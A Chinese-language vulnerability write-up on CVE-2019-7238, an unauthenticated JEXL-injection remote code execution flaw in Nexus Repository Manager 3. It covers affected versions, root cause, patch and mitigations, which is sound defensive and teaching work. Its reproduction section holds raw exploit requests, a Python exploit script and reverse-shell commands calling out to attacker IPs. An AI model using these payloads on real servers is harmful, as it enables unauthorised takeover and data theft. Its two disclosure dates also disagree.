一、漏洞简介¶
1.1 漏洞背景¶
Nexus Repository Manager 是 Sonatype 公司开发的一款流行的制品仓库管理器,广泛应用于企业内部的 Maven、Docker、npm 等制品的存储和分发。2019年2月5日,Sonatype 官方发布了安全公告,披露了一个严重的远程代码执行漏洞。
该漏洞由腾讯安全云鼎实验室的 Rico 和长亭科技的 voidfyoo 发现并报告。漏洞存在于 Nexus Repository Manager 3 的 Component 组件中,由于缺少适当的访问控制,攻击者可以在未认证的情况下通过构造恶意请求执行任意代码。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2019-7238 |
| 危害等级 | CRITICAL / 9.8 |
| 漏洞类型 | 远程代码执行漏洞 |
| 披露时间 | 2019-03-21 |
| 影响组件 | Nexus Repository Manager |
| 属性 | 详情 |
|---|---|
| CVE编号 | CVE-2019-7238 |
| 危害等级 | 严重(Critical) |
| CVSS评分 | 9.8(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| 漏洞类型 | 远程代码执行(RCE)/ 访问控制缺失 |
| 利用条件 | 无需认证,网络可达 |
| 影响组件 | nexus-coreui-plugin 组件 |
补充核验信息:公开时间:2019-03-21;NVD 评分:9.8(CRITICAL)。
二、影响范围¶
2.1 受影响的版本¶
- Nexus Repository Manager 3 OSS/Pro 版本 3.6.2 至 3.14.0(包含)
具体受影响版本: - 3.6.2 - 3.7.0 - 3.7.1 - 3.8.0 - 3.8.2 - 3.9.0 - 3.9.2 - 3.10.0 - 3.10.3 - 3.11.0 - 3.11.2 - 3.12.0 - 3.12.1 - 3.13.0 - 3.14.0
2.2 不受影响的版本¶
- Nexus Repository Manager 3 OSS/Pro 3.15.0 及以上版本
- Nexus Repository Manager 2.x 系列
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- Nexus Repository Manager 3 服务正常运行
- 存在至少一个仓库(如 maven-releases)
- 仓库中存在至少一个组件(artifact)
- 攻击者能够访问 Nexus 服务的 HTTP 端口(默认8081)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
漏洞位于 org.sonatype.nexus.coreui.ComponentComponent 类的 previewAssets 方法中。该方法用于预览仓库中的资产,接受用户传入的 JEXL/CSEL 表达式参数。
漏洞调用链:
ComponentComponent.previewAssets()
↓
BrowseService.previewAssets()
↓
PreviewAssetsSqlBuilder.buildWhereClause()
↓
ContentExpressionFunction.execute()
↓
SelectorManager.evaluate()
↓
JexlSelector.evaluate() ← 执行恶意 JEXL 表达式
核心漏洞代码(ComponentComponent.groovy:185):
@Named
@Singleton
@DirectAction(action = 'coreui_Component')
class ComponentComponent extends DirectComponentSupport {
@DirectMethod
@Timed
@ExceptionMetered
PagedResponse<AssetXO> previewAssets(final StoreLoadParameters parameters) {
String repositoryName = parameters.getFilter('repositoryName')
String expression = parameters.getFilter('expression') // 用户可控
String type = parameters.getFilter('type')
if (!expression || !type || !repositoryName) {
return null
}
RepositorySelector repositorySelector = RepositorySelector.fromSelector(repositoryName)
// 验证表达式,但验证不充分
if (type == JexlSelector.TYPE) {
jexlExpressionValidator.validate(expression)
} else if (type == CselSelector.TYPE) {
cselExpressionValidator.validate(expression)
}
// 调用 browseService 执行表达式
def result = browseService.previewAssets(
repositorySelector,
selectedRepositories,
expression, // 传入恶意表达式
toQueryOptions(parameters))
return new PagedResponse<AssetXO>(result.total, result.results)
}
}
Expression 执行流程:
// ContentExpressionFunction.java
public Object execute(final Object iThis, final OIdentifiable iCurrentRecord,
final Object iCurrentResult, final Object[] iParams,
final OCommandContext iContext) {
OIdentifiable identifiable = (OIdentifiable) iParams[0];
ODocument asset = identifiable.getRecord();
String jexlExpression = (String) iParams[1]; // 恶意表达式
return contentAuthHelper.checkAssetPermissions(asset, membersForAuth) &&
checkJexlExpression(asset, jexlExpression, format);
}
private boolean checkJexlExpression(final ODocument asset,
final String jexlExpression,
final String format) {
SelectorConfiguration selectorConfiguration = new SelectorConfiguration();
selectorConfiguration.setAttributes(ImmutableMap.of("expression", jexlExpression));
selectorConfiguration.setType(JexlSelector.TYPE);
// 执行表达式!
return selectorManager.evaluate(selectorConfiguration, variableSource);
}
3.2 源码层面的根因分析(结合源码与补丁对比)¶
根本原因:
- 访问控制缺失:
previewAssets方法缺少@RequiresPermissions注解,导致未认证用户可调用 - JEXL 表达式注入:用户输入的表达式直接被 JEXL 引擎执行,未进行充分过滤
- 危险的 JEXL 功能:JEXL 允许调用 Java 类和方法,可执行任意命令
JEXL 表达式能力:
// JEXL 允许执行如下操作:
// 1. 创建对象
new('java.lang.Runtime')
// 2. 调用静态方法
Class.forName('java.lang.Runtime')
// 3. 访问系统属性
System.getProperty('os.name')
// 4. 执行命令
Runtime.getRuntime().exec('id')
漏洞修复方案(官方补丁):
@DirectMethod
@Timed
@ExceptionMetered
@RequiresPermissions('nexus:selectors:*') // 添加权限检查
PagedResponse<AssetXO> previewAssets(final StoreLoadParameters parameters) {
// ...
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 搭建漏洞环境:
# 拉取受影响版本镜像
docker pull sonatype/nexus3:3.14.0
# 启动容器
docker run -d -p 8081:8081 --name nexus-cve-2019-7238 sonatype/nexus3:3.14.0
# 等待服务启动(约2-3分钟)
docker logs -f nexus-cve-2019-7238
# 访问 http://localhost:8081 验证服务正常
准备测试数据:
# 登录 Nexus(默认账号 admin/admin123)
# 创建一个 maven2 (hosted) 仓库
# 上传一个测试 jar 包
或使用 vulhub 环境:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/nexus/CVE-2019-7238
docker-compose up -d
4.2 PoC 演示与测试过程¶
基础检测 PoC(无需认证):
POST /service/extdirect HTTP/1.1
Host: target:8081
Content-Type: application/json
Content-Length: 213
{
"action": "coreui_Component",
"type": "rpc",
"tid": 8,
"method": "previewAssets",
"data": [{
"page": 1,
"start": 0,
"limit": 50,
"filter": [
{"property": "repositoryName", "value": "*"},
{"property": "expression", "value": "1==1"},
{"property": "type", "value": "jexl"}
]
}]
}
命令执行 PoC(反弹 shell):
POST /service/extdirect HTTP/1.1
Host: target:8081
Content-Type: application/json
Content-Length: 580
{
"action": "coreui_Component",
"type": "rpc",
"tid": 8,
"method": "previewAssets",
"data": [{
"page": 1,
"start": 0,
"limit": 50,
"filter": [
{"property": "repositoryName", "value": "*"},
{"property": "expression", "value": "1..runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}')"},
{"property": "type", "value": "jexl"}
]
}]
}
Python 自动化 PoC:
#!/usr/bin/env python3
# CVE-2019-7238 PoC
import requests
import sys
def exploit(target, command):
url = f"http://{target}/service/extdirect"
payload = {
"action": "coreui_Component",
"type": "rpc",
"tid": 8,
"method": "previewAssets",
"data": [{
"page": 1,
"start": 0,
"limit": 50,
"filter": [
{"property": "repositoryName", "value": "*"},
{"property": "expression", "value": f"1..runtime.getRuntime().exec('{command}')"},
{"property": "type", "value": "jexl"}
]
}]
}
headers = {"Content-Type": "application/json"}
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Command executed successfully")
print(response.text)
else:
print(f"[-] Request failed: {response.status_code}")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target:port> <command>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
使用方式:
# 测试漏洞存在
python3 exploit.py 192.168.1.100:8081 "touch /tmp/pwned"
# 反弹 shell
python3 exploit.py 192.168.1.100:8081 "bash -c 'bash -i >& /dev/tcp/192.168.1.200/4444 0>&1'"
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
强烈建议升级至以下安全版本:
- Nexus Repository Manager 3.15.0 或更高版本
升级步骤:
- 备份现有数据和配置:
# 备份数据目录
cp -r /nexus-data /nexus-data-backup
# 导出配置
# 通过 UI: Administration -> System -> Tasks -> Create Task -> Export configurations
- 下载并安装新版本:
# 下载最新版本
wget https://download.sonatype.com/nexus/3/latest-unix.tar.gz
# 解压并配置
tar -xzf latest-unix.tar.gz
cd nexus-3.x.x-x
- 启动新版本并验证:
./bin/nexus start
./bin/nexus status
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
如果无法立即升级,可采取以下临时措施:
- 网络访问控制:
# 使用防火墙限制访问
iptables -A INPUT -p tcp --dport 8081 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 8081 -j DROP
- 反向代理限制:
# Nginx 配置,阻止对 /service/extdirect 的未授权访问
location /service/extdirect {
allow 10.0.0.0/8;
deny all;
proxy_pass http://nexus:8081;
}
- WAF 规则:
# ModSecurity 规则示例
SecRule REQUEST_URI "@contains /service/extdirect" \
"id:1001,phase:1,deny,status:403,msg:'Block Nexus extdirect'"
- 禁用 Component preview 功能(临时):
- 修改配置文件禁用相关功能模块
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Sonatype 官方公告: https://support.sonatype.com/hc/en-us/articles/360017310793
- NVD 漏洞详情: https://nvd.nist.gov/vuln/detail/CVE-2019-7238
- CISA 已知被利用漏洞目录: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
6.2 其他技术参考资料¶
- Chybeta 分析文章: https://chybeta.github.io/2019/02/18/Nexus-Repository-Manager-3-RCE-分析-【CVE-2019-7238】/
- 先知社区分析: https://xz.aliyun.com/t/4136
- GitHub PoC: https://github.com/mpgn/CVE-2019-7238
- Vulhub 漏洞环境: https://github.com/vulhub/vulhub/tree/master/nexus/CVE-2019-7238